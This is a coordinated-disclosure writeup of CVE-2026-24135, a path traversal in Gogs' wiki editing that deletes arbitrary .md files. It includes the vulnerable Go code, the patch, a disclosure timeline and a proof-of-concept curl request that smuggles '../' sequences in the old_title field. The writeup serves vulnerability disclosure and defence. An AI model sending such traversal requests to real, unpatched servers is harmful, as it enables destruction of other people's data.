Back to writeups
CVE February 6, 2026 · 3 min read

CVE-2026-24135: Arbitrary File Deletion in Gogs via Wiki Path Traversal

A path traversal vulnerability in Gogs' wiki update function allows authenticated users to delete arbitrary files on the server by manipulating the old_title parameter.

CVE
CVE-2026-24135
Severity
high · 7.5
Product
Gogs
Patched
0.13.4
Contents

Summary

During a security audit of Gogs (a self-hosted Git service written in Go), I discovered a path traversal vulnerability in the wiki page editing functionality that allows authenticated attackers to delete arbitrary files on the server.


Vulnerability Details

The updateWikiPage function in internal/database/wiki.go contains an asymmetric sanitization flaw. When editing a wiki page, the function handles two title parameters:

  1. The new title (title) is properly sanitized via ToWikiPageName() (line 105)
  2. The old title (oldTitle) is not sanitized before being used in file operations (line 114)
// Line 105: New title IS sanitized
title = ToWikiPageName(title)
filename := path.Join(localPath, title+".md")

// Lines 113-115: Old title is NOT sanitized before os.Remove
} else {
    os.Remove(path.Join(localPath, oldTitle+".md"))  // VULNERABLE
}

This means an attacker can inject path traversal sequences (e.g., ../../../../target) into the old_title form field. The os.Remove call resolves the path relative to the wiki’s local directory and deletes the target file.

Data Flow

User Input (Form)          Route Handler                    Database Function
┌─────────────────┐        ┌─────────────────────┐          ┌──────────────────────────┐
│ f.OldTitle      │───────>│ EditWikiPost()      │─────────>│ updateWikiPage()         │
│ (unsanitized)   │        │ wiki.go:246         │          │                          │
└─────────────────┘        │                     │          │ Line 114:                │
                           │ No sanitization!    │          │ os.Remove(path.Join(     │
                           │                     │          │   localPath,             │
                           └─────────────────────┘          │   oldTitle+".md"))       │
                                                            └──────────────────────────┘

Attack Vector

  1. Attacker authenticates with access to edit wiki pages in any repository
  2. Attacker navigates to edit a wiki page
  3. Attacker intercepts the POST request to /repo/wiki/edit
  4. Attacker modifies the old_title form field to contain path traversal sequences

Proof of Concept

# 1. Create a wiki page normally
# 2. Navigate to edit page: GET /repo/wiki/_edit/TestPage

# 3. Intercept POST and modify old_title:
curl -X POST "https://gogs.example.com/user/repo/wiki/TestPage?action=_edit" \
  -H "Cookie: i_like_gogs=<session>" \
  -d "old_title=../../../tmp/malicious_target" \
  -d "title=TestPage" \
  -d "content=test" \
  -d "message=test"

# This deletes: /tmp/malicious_target.md

Impact

  • Arbitrary file deletion -> Any file ending in .md that the Gogs process has write access to
  • Denial of Service -> Deletion of critical configuration files or repository data
  • Data Loss -> Destruction of other users’ wiki pages or documentation
  • Potential escalation -> Combined with other vulnerabilities, could lead to further compromise

The Fix

Sanitize the oldTitle parameter using ToWikiPageName before using it in file operations, matching the sanitization already applied to the new title:

func (r *Repository) updateWikiPage(doer *User, oldTitle, title, content, message string, isNew bool) (err error) {
    // ... existing code ...

    title = ToWikiPageName(title)

    // FIX: Sanitize oldTitle as well
    if oldTitle != "" {
        oldTitle = ToWikiPageName(oldTitle)
    }

    filename := path.Join(localPath, title+".md")
    // ...
}

This fix was implemented by the Gogs team in PR #8099.

Disclosure Timeline

DateEvent
2025-12-13Vulnerability discovered during security audit
2025-12-13Advisory submitted to Gogs via GitHub Security Advisory
2026-01-20Follow-up with maintainers
2026-01-20Maintainer acknowledged the report
2026-01-22Patch merged in #8099
2026-01-22CVE-2026-24135 assigned by GitHub
2026-02-06Public disclosure

References

All writeups Jonas Resch · 2026